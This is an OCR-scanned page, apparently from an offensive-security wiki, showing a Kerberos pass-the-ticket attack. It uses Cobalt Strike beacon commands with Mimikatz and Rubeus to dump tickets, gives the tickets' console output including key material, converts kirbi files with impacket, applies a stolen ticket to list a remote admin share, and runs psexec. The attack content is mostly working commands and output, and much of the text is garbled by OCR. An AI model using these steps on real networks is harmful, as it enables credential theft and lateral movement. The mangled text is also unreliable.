[TTT] Pass The Ticket

IO PTT O Windows [ Linux T

kirbi

[TI1] Mimikatz [T] rubeus [TITIL TGT [I] TGS[ISéKuxrtbaftidiketAaxpHO

beacon> mimikatz sekurlsa::tickets fexport

[*] Tasked beacon to run mimikatz's sekurlsa::tickets /fexport command
[+] host called home, sent: 750707 bytes

[+] received output:

ﬁuthentlcatlnn Id : 0 ; 600564869 (00000000:23ched85)
+ Interactive from 0
Us r Name : serveradm
Domain : WHITE-BIRD
Logon Server !
Logon Time
SID 1 5-1-f 0F 62-99 -3566323574- 1604

* Username : serveradm
* Domain + WHITE-BIRD.LOCAL
* Password : (null)

Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?

Group 2 - Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 5/17/2023 10:03:59 AM ; 5/17/2023 59 PM ; 5/24/
Service Name (02) krbtgt : WHITE-BIRD.LOCAL WHITE-BIRD.LOCAL
Target Name (02) : krbtgt ; WHITE-BIRD.LOCAL WHITE-BIRD.LOCAL
Client Name (01) : serveradm WHITE-BIRD.LOCAL ( WHITE-BIRD.LOCAL )
Flags 40e1l0000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;

05/17/2
05/17/202
05/17/20
05/17/2
05/17/202
05/17/20
05/17/2
05/17/202
05/17/20
05/17/2
05/17/202
05/17/20
05/17/2
05/17/202
05/17/202
05/17/20
05/17/2
05/17/202
05/17/20
05/17/2
05/17/202
05/17/20

- 40e 10000-wanh klhtgt -WHITE-BIRD.LOCAL.kirbi
orgcifs-dc05.kirbi
rhtqt WHITE BIRD LOFAL kirhi

.whltc hlrﬂ.lu(al.kllhl

cifs-web®2,white-bird.local.kirbi
0c]-0-0-00250000-administra ifs-dco5.kirbi

0(] 2-0-e1000000- administra 0 rbtgt-WHITE-BIRD.LOCAL.kirbi

4b9]-2
4h9] -

cifs- d(05 whlte hlld 1uca1 kirbi
1dap-dc0S.white-bird.local.kirbi
C-dcO5.white-bird. Local.kirbi
krbtgt-WHITE-BIRD.LOCAL.kirbi
krbtgt-WHITE-BIRD.LOCAL.kirbi
cifs-dcOS.white-bird.local.kirbi

13e7]-0-1-40a10000, kirbi

(I Rubeukiéligiexe dump [TTTTTITTIT]
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beacon> execute-assembly fopt/red/rubeus.exe dump /nowrap

[*]1 Tasked beacon to run .NET program: rubeus.exe dump /nowrap
[+] host called home, sent: 551491 hytes

[+]1 received outpu

Action: Dump Kerberos Ticket Data (ALl Users)

[*] Current LUID 1 0x1523810c

[X1 Error 1312 calling LsaCallAuthenticationPackage() for target "cifs/web02.white-bird.local™ : A specified logon session does not exist. It may already have been terminated
[X1 Error 1312 calling LsaCallAuthenticationPackage() for target "cifs/web02.white-bird.local™ : A specified logon session does not exist. It may already have been terminated

calling LsaCallAuthenticationPackage() for target "cifs/web02.white-bird.local™ : A specified logon session does not exist. It may already have been terminated
: serveradm

AuthenticationPackage
LogonType
LogonTime

LogonSe rve rDNSDomain
UserPrincipalName

Domain WHITE-BIRD
0x13baa7fs

AuthenticationPackage
LogonType
LogonTime 5/16/2023 12

< WHITE-BIRD.
rincipalName

UserName wanh
Domain WHITE-BIRD
LogonTd 0x 1 1
UserSID

AuthenticationPackage

5/16/202
DCOS

rviceName RD. LOCAL
ServiceRealm b L

UserName wanh

UserRealm WHITE-BIRD. LOCAL

StartTime L 2 L 37 AN

EndTime ! 202 PN

RenewTill : 3 37 AN

Flags canonicalize, pre_authent, initial, renewable, forwardable
KeyType e  cts_hmac_shal

Base64(key) 0 NV3aP1Gh91c4061iUyxCI6b5M+dYeRNAmmah

BaseG4EncodedTicket

BBNhggQPMITEC6ADAGEFORTDEFdISVRFLU.JIUKQUTESDQUYi JTA 0o ANCAQKhHDAaGWZrcm.10Z3(0bEFdISVRFLUJIUK QUTE9DQUY jggPHMIIDW6ADAGQES0QMCAQKiqqO1B:

rubeus. exe triage

rubeus. exe dump /luid: <[I17] ID> /nowrap
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beacon> execute-assembly fopt/red/rubeus.exe triage
[*] Tasked beacon to run

NET program:

[+] host called home, sent: 551479 bytes
[+] received output:

Action: Triage Kerberos Tickets (A1l Users)

[*] Current LUID

0x23che485
0x13b4a7f5
0x1036eefl
0x2854b9
0x2854b9
0x2854b9
0x19f21
0x19f21
0x3e4
0x3e4
0x3e4
0x3ed4
0x13b650c1
0x13b57d6b
0x1328df4a
0x1328df4a
0x3e7
0x3e7
0x3e7

1 0x1523810c

serveradm @ WHITE-BIRD.LOCAL
serveradm @ WHITE-BIRD.LOCAL
wanh @ WHITE-BIRD.LOCAL

WEBO2% @ WHITE-BIRD.LOCAL
WEBO2% @ WHITE-BIRD.LOCAL
WEBO2% @ WHITE-BIRD.LOCAL
sql_service @ WHITE-BIRD.LOCAL
sql service @ WHITE-BIRD.LOCAL
weh02% @ WHITE-BIRD.LOCAL
weh02% @ WHITE-BIRD.LOCAL
weh02% @ WHITE-BIRD.LOCAL
web02% @ WHITE-BIRD.LOCAL
serveradm @ WHITE-BIRD.LOCAL
serveradm @ WHITE-BIRD.LOCAL
administrator @ WHITE-BIRD.LOCAL
administrator @ WHITE-BIRD.LOCAL
web02% @ WHITE-BIRD.LOCAL
weh02$ @ WHITE-BIRD.LOCAL

rubeus.exe triage

krbtgt/WHITE-BIRD. LOCAL
cifs/web02.white-bird.local
krbtgt/WHITE-BIRD. LOCAL
krbtgt/PROD,RAVEN-MED.LOCAL
cifs/dc05.white-bird.local
cifs/dcOl.prod.raven-med.local
krbtgt/WHITE-BIRD. LOCAL
LDAP/dc®5,white-bird.local/white-bird. local
krbtgt/WHITE-BIRD.LOCAL
GC/dc05,white-bird.local/white-bird.local
ldap/dc05,.white-bird.local/white-bird.local
cifs/dcO5.white-bird.local
cifs/web02.white-bird.local
cifs/web02.white-bird.local
krbtgt/WHITE-BIRD. LOCAL

cifs/dces

krbtgt/RAVEN-MED. LOCAL

cifs/dcos

beacon> execute-assembly /fopt/red/rubeus.exe dump /luid:0x23cbe485 fnowrap

[*] Tasked beacon to run

[+] host called home, sent: 551525 bytes
[+] received output:

Action: Dump Kerberos Ticket Data (ALl Users)

[*] Target LUID
[*] Current LUID

UserName
Domain
LogonId
UsersIibD

AuthenticationPackage

LogonType
LogonTime
LogonServer

LogonServerDNSDomain
UserPrincipalName

1 0x23che485
1 0x1523810c¢

1 serveradm
+ WHITE-BIRD
1 0x23che48s

.NET program: rubeus.exe dump /luid:0x23ched485 /nowrap

i 5-1-5-21-2387957962-993181570- 3566323574~ 1604

: Kerberos
: Interactive

: 5/17/2023 12:18:59 AM

1 DCO5
+ WHITE-BIRD.LOCAL

: serveradm@white-bird. local

5/17/2023
5/16/2023
5/17/2023
5/17/2023
5/17/2023
5/17/2023
5/17/2023
5/17/2023
5/17/2023
5/17/2023
5/17/2023
5/17/2023
5/16/2023
5/16/2023
5/17/2023
5/17/2023
5/17/2023
5/17/2023

i e et e o T )

10 48 03 PH
10:48:03 PH
10:48:03 PH
10:48:03 PN
6:57:

6
5
51
61
[
6

(ITITTTT kirbi [TTTWindows[ITTTTTTTTT] Pewhoshetidiétkityi bESe64 wd N EXarmple.kirbi [1T]

[ System. I0.File]::

WriteAllBytes(" <[IITP",

[ System. Convert]::

FromBase64String(" <[I>"))
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iWriteAllBytes (" i 5 System. Convert]::Fro 5 ring ("doIFezCCBXegAwIBBaEDAgH
0.Filel: :WriteAl1Bytes ("C:\windows\tasks\e ) 0 0 se64stri 0IFezCCBXegAwIH

asks
List files in C:\windows\tasks
bytes
[*] Listing: C

Size Type Last Modified Name
1Zkb fil 05/17 /2 06:42:55 17064254 BloodHound.zip
1kb fil 05/17/2023 13:40:59 example.kirbi

~/Desktop

ccache

0 Linux[ITT] Lifues pIIIITTIITIITMIT T T T TICredential Cache[T] ccache [TTTTT1 krb5cc_xxx[TTkrb5cc_1394P0:
TGTOTGS [I1] LinKkRBFOTNAME [EXpoift KKBE3OCNAMEFK cache [TIMHITITIT]

$ 1s -al /tmp | grep krbs
administrator domain users 195 May 8 13:16 cc_518800500_CvZ7

macro domain users 1263 Apr 13 20:38 cc_518801602_volq

serveradm domain users 1299 May 17 08:10 cc_518801604 kOHP

~/Desktop
CNAME=serveradm.ccache

~/Desktop

FILE:serveradm.ccache

Service principal
krbtgt/white-bird.local@WHITE-BIRD.LOCAL

T Impdik&kefiConverter [€gEd¢he [kirbi [TTTT11T]
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~/Desktop
impacket/examples/ticketConverter.py serveradm.kirbi ser
.1a.1.devl+ 116.181610.ef Copyright : For

ting kirbi to ccache ...

~/Desktop
impacket/examples/ticketConverter.py serueradm ccache servy
L10.1.devl+ B116.181610.efcaec

~/Desktop
serveradm2. kirbi

AMgfRjfbbn2p

ITLEmHY19dG

~/Desktop
serveradm. kirbi

4LOAADRE
pcmQubGYy

keytab

keytab [Kigtberos [[TNTLMAASTIGAAEPLEPIY$0sdave/KeyTabExtract) [NTLM [RES256 [TTITITIIIIIT
/etc/krb5.keytab [T11] keytab [TTTTTITIT] root [1T]

[T PTHIITIITT Impacket [TTTTT] keytab [TT1T]

img@olf)ﬂ)gnd or type unknown

Windows [II]T]
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(0 Windows [TTTTTTTTT] Mimikatz [T] Rubeus [[KérHéfes tadketriksgkerberos_ccache_use [T]]]T]

[0 CobaltStrike mhflke_token [TTTTTTTTTTTTTTTIIIIMIMIMIMGNWindows TTTITITIIITITN TGT 0

(Whiterbirf\serveradm [TTT11] W& []

peacon> make token white-birdyserveradm NotRea

[*] Tasked beacon to create a token for white-bird\serveradm
[+] host called home, sent: 50 bytes

[+] Impersonated PRODValice

beacon> kerberos_ticket use froot/Desktop/serveradm.kirbi

[*] Tasked beacon to apply ticket in froot/Desktop/fserveradm.kirbi
[+] host called home, sent: 2914 bytes

beacon= 1s ‘\\web02.white-bird.local\c$

[*] Tasked beacon to list files in ‘\web02.white-bird.local\c$
[+] host called home, sent: 45 bytes

[*] Listing: ‘\\web02.white-bird.localyc$\

Size Type Last Modified Hame

dir 04/12/2023 22:52:00 $Recycle.Bin
23

dir 0172272023 17:22:39 Documents and Settings
dir 01/26/2023 16: inetpub

dir 02/11/2023 20: 28 Microsoft

dir 09/15/2018 00:19: PerfLogs

dir 04/13/2023 19:20: 26 Program Files

dir 04/13/2023 00:28: Program Files (x86)
dir 05/08/2023 13:28:2: ProgramData

dir 01/22/2023 17:22: Recovery

dir 01,2620 16:39: 0! SQL2022

dir 01/22/2023 17:21: System Volume Information
dir 05/16/2023 19:17:0! Users

dir 05/16/20; 2: 28 Windows

fil 05/08/20; pagefile.sys

w

(9]

W

w

w

[ I I I

(9]

Linux [TTIT]
[0 Linux DT TTKRBBCENAME CHd TTTTTTTTTTIT1T]
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~/Deskto

} impacket/examples/psexec.py white-bird.local rveradmay white-bird.local

found r 4.conf

ins] DLL init:
t v@.10.1.devl

hains] Dynamic chain

-bird.1l
ite-bird.1l

nic ch: .0.08.1: L16.1.
nic ch: 27.0.0.1:1¢ ... WHITE-BIRD.LO
nic ch: @.0.1: 2.16.1.
amic chain
ynamic ch: .0.0.1: 72.16.1.52 5
rnamic 27.0.0.1:1¢ +r HITE-BIRD.LOCAL

Revision #5
Created 5 September 2022 03:08:28 by [11]

Updated 28 December 2023 01:31:41 by 111
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